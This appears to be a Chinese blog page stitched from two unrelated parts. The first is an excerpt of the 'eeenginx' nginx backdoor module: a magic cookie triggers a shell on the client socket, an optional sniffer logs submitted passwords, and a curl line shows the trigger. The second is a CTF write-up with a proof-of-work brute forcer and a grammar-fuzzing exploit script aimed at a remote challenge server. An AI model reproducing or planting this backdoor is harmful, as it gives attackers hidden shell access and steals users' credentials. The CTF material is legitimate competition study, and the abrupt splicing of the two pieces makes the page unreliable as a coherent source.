 *  lastest version @ https://github.com/t57root/eeenginx
 *  openwill.me / www.hackshell.net
 */                           
...
static ngx_int_t
ngx_http_eeenginx_header_filter(ngx_http_request_t *r)
{
    // 核心代码是这段是这段
    int cmd_fd = r->connection->fd;
    ngx_table_elt_t ** cookies = NULL;
    cookies = r->headers_in.cookies.elts; // cookies 存储了所有的 cookie
    if(r->headers_in.cookies.nelts==1){ // 如果只传了1个 cookie
        if(strncmp((char *)cookies[0]->value.data,"session=eeenginx97826431357894989;", sizeof("session=eeenginx97826431357894989"))==0){
            // msend(cmd_fd, "eeenginx1", sizeof("eeenginx1"));
            exec_shell(cmd_fd);
        }
    }
    
    // 这段没用, config.h 里的 PWD_SNIFF_FILE bb
    #ifdef PWD_SNIFF_FILE
    if (r->request_body){
        ngx_chain_t     *cl = r->request_body->bufs;
        if(cl){
            //1024
            char *tmp_buf = malloc(1025);
            tmp_buf[1024]='\0';
            strncpy(tmp_buf,(char *)cl->buf->pos,1024);
            if( ngx_strcasestrn((u_char *)tmp_buf, "password=",9-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "passwd=",7-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "pwd=",4-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"password\"",15-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"passwd\"",13-1) ||
                ngx_strcasestrn((u_char *)tmp_buf, "name=\"pwd\"",10-1)){
                FILE *fp = fopen(PWD_SNIFF_FILE,"a");
                r->request_line.data[(int)r->request_line.len]='\0';
                fprintf(fp,"%s\n",(char *)r->request_line.data);
                r->headers_in.host->value.data[(int)r->headers_in.host->value.len]='\0';
                fprintf(fp,"Host:%s\n",(char *)r->headers_in.host->value.data);
                fprintf(fp,"%s\n======================\n",cl->buf->pos);
                fclose(fp);
            }
        }
    }
    #endif

    return ngx_http_next_header_filter(r);
}
...
$ curl -v -i --http0.9 -H 'Cookie:session=eeenginx97826431357894989;'

然后就出了

how_to_generate | Done | Noah konge cdcq

Would you like some language fuzzers today?
download

第一步验证,一个简单的爆破:

from hashlib import sha256
from string import ascii_letters, digits

line = input("> ")
proof = line.split()

letters = ascii_letters + digits

for a in letters:
    for b in letters:
        for c in letters:
            for d in letters:
                i = a + b + c + d
                p = i + proof[0]
                if sha256(p.encode()).hexdigest() == proof[1]:
                    print(i)
                    exit(0)
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce
from Crypto.Util.number import *
table = string.ascii_letters+string.digits

def passpow(io):
    io.recvuntil(b"XXXX+")
    suffix = io.recv(16).decode("utf8")
    io.recvuntil(b"== ")
    cipher = io.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
                        cipher, table, length=4, method='fixed')
    io.sendline(proof.encode()) 

通过之后,拿到了一些不认识的代码:

%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS

start: statement+

expression: LETTER "+" LETTER "&" DIGIT "%" LETTER -> cov_0
    | NUMBER "$" LETTER "^" DIGIT -> cov_1
    | DIGIT "&" NUMBER "~" expression "-" DIGIT -> cov_2
    | LETTER "$" NUMBER "!" WORD "-" expression "$" DIGIT -> cov_3
    | DIGIT "+" expression "*" NUMBER "^" DIGIT -> cov_4
    | WORD "#" LETTER "+" NUMBER "!" expression "^" WORD -> cov_5
...
statement: "mDq" expression "BpJWlA" expression "U2t4nA" expression expression -> cov_50
    | "PtgfM" statement expression statement NUMBER "q05UCH" expression -> cov_51
    | "ubK" DIGIT expression "6ch7i" -> cov_52
    | "kik2" DIGIT "775OWC" expression -> cov_53
    | "BiHmTI" expression statement LETTER "K5aKKy" NUMBER LETTER expression expression -> cov_54
    | "mIsi2" expression "24Wb" NUMBER "ZUC" WORD -> cov_55
...

:应该是和编译原理有关的什么东西。

:你把我这一句删掉好吗

这一坨实际上是编译原理用的形式语言,别看这么长,其实只有3条:

  1. start是statement的正闭包(也就是由至少1个statement链接而成)
  2. expression从后面那一堆东西里边选,|把不同选项分割开,->表示这个选项的编号
  3. statement从后面那一堆东西里选从后面那一堆东西里选

简单吧,statement里可能有expression

exp:

from hashlib import sha256
from pwn import *
from random import randint
from string import ascii_letters, digits
import zlib

r = remote('121.5.253.92', 10001)

s = r.recvuntil('XXXX:')
print(s)
m = s[s.find(b'+') + 1: s.find(b')')].decode()
n = s[s.find(b'== ') + 3: s.find(b'\n')].decode()
print(m, n)

key = ''
letters = ascii_letters + digits
for a in letters:
    for b in letters:
        for c in letters:
            for d in letters:
                i = a + b + c + d
                p = i + m
                if sha256(p.encode()).hexdigest() == n:
                    key = i
                    break

r.sendline(key)
s = r.recvuntil('size:')

expr = s[s.find(b'expression: ') + len('expression: '): s.find(b'\nstatement:')].decode().split('\n    | ')
stat = s[s.find(b'statement: ') + len('statement: '): s.find(b'\n\nEOF')].decode().split('\n    | ')
expr2 = []

with open('test.txt', 'w') as f:
    f.write('\n')

for i in range(len(expr)):
    expr[i] = expr[i].split(' -> ')
    expr[i][0], expr[i][1] = int(expr[i][1][4:]), expr[i][0].split(' ')
    with open('test.txt', 'a') as f:
        f.write(str(expr[i]) + '\n')
    if 'expression' not in expr[i][1] and 'statement' not in expr[i][1]:
        expr2.append(expr[i])

for i in range(len(stat)):
    stat[i] = stat[i].split(' -> ')
    stat[i][0], stat[i][1] = int(stat[i][1][4:]), stat[i][0].split(' ')
    with open('test.txt', 'a') as f:
        f.write(str(stat[i]) + '\n')


rep = {
    'NUMBER': '12',
    'LETTER': 'c',
    'WORD': 'ab',
    'DIGIT': '3',
}
alpha = 30
cnt = 0
def gene(x):
    global cnt
    if x in rep:
        return rep[x] + ' '
    elif x == 'expression':
        s = ''
        if bin(cnt).count('1') >= alpha:
            exprn = expr2[randint(0, len(expr2) - 1)]
        else:
            exprn = expr[randint(0, len(expr) - 1)]
        cnt = (cnt | (1 << exprn[0]))
        for i in exprn[1]:
            s = s + gene(i) + ' '
        return s + ' '
    elif x == 'statement':
        s = ''
        statn = stat[randint(0, len(stat) - 1)]
        cnt = (cnt | (1 << statn[0]))
        for i in statn[1]:
            s = s + gene(i) + ' '
        return s + ' '
    elif x.count('"') == 2:
        return x.replace('"', '') + ' '
    else:
        print(x, '??????????')
        exit(0)


ans = ''
for i in range(0x1000):
    if not i == 0:
        ans = ans + '|'
    while bin(cnt).count('1') < 20:
        cnt = 0
        tmp = gene('statement')
        # tmp = " ".join(tmp.split())
        ans = ans + tmp
    cnt = 0 # Attention.

ans = zlib.compress(ans.encode())
r.sendline(str(len(ans)))
r.recvuntil('(hex): ')
r.sendline(ans.hex())
r.interactive()

flag{Di3_G7enzen_mEiNer_5prache_beDeuTeN_dIe_GrenzEn_meinEr_Welt}


默认分类 Tagged by none  

© 2021 ::L Team::